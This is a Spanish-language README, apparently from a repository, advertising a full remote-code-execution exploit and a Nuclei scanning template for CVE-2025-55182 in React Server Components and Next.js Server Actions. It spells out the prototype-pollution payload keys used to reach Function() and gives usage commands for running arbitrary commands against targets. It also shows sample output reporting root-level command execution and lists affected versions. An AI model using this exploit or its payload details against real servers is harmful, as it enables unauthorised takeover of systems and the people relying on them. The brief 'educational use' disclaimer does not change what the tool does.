CVE-2025-55182 - Exploit de RCE en Server Actions de React y Next.js

Exploit completo de Ejecución Remota de Código y escáner para CVE-2025-55182 en Server Actions de React/Next.js.

PoC original: Spritualkb/CVE-2025-55182-exp

Resumen

CVE-2025-55182 es una vulnerabilidad crítica de contaminación de prototipos en React Server Components que permite la ejecución remota de código. Este repositorio proporciona tanto herramientas de escaneo automatizado (plantilla Nuclei) como de explotación manual (script Python).

Mecanismo de la vulnerabilidad:

El exploit aprovecha la contaminación de prototipos en la deserialización del Protocolo de Vuelo de React. Contamina Object.prototype.then mediante "$1:__proto__:then" y obtiene acceso al constructor de funciones a través de _formData.get establecido en "$1:constructor:constructor", luego inyecta código malicioso mediante _prefix que es ejecutado por Function().

Herramientas

1. Plantilla Nuclei (`cve-2025-55182.yaml`)

Escáner automatizado de vulnerabilidades que ejecuta el comando id y recupera la salida a través de la cabecera X-Action-Redirect.

Uso:

nuclei -u http://target.com:3000 -t cve-2025-55182.yaml

Características:

Ejecuta un comando de prueba (id) para verificar RCE
Extrae la salida del comando de las cabeceras de respuesta
Múltiples indicadores de detección (estado 303, cabeceras de redirección, patrones de error)

2. Exploit Python para RCE (`CVE-2025-55182.py`)

Script de explotación RCE completo que ejecuta comandos arbitrarios y recupera la salida.

Uso:

python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"

Características:

Ejecuta comandos arbitrarios
Extracción automática de la salida desde la cabecera X-Action-Redirect
Soporte para formatos HTTP/HTTPS e IP:PUERTO
Opción de omisión de verificación de certificados SSL
Salida limpia y formateada

Resultados de prueba

Plantilla Nuclei

$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml

[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.

Exploit Python

$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"

============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================

[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...

============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------

============================================================
[*] Exploitation attempt completed
============================================================

Versiones afectadas

react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js: 15.x, 16.x (App Router con Server Actions)

Créditos

PoC original: Spritualkb - CVE-2025-55182-exp

Referencias

Aviso legal

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS

CVE-2025-55182

Más Populares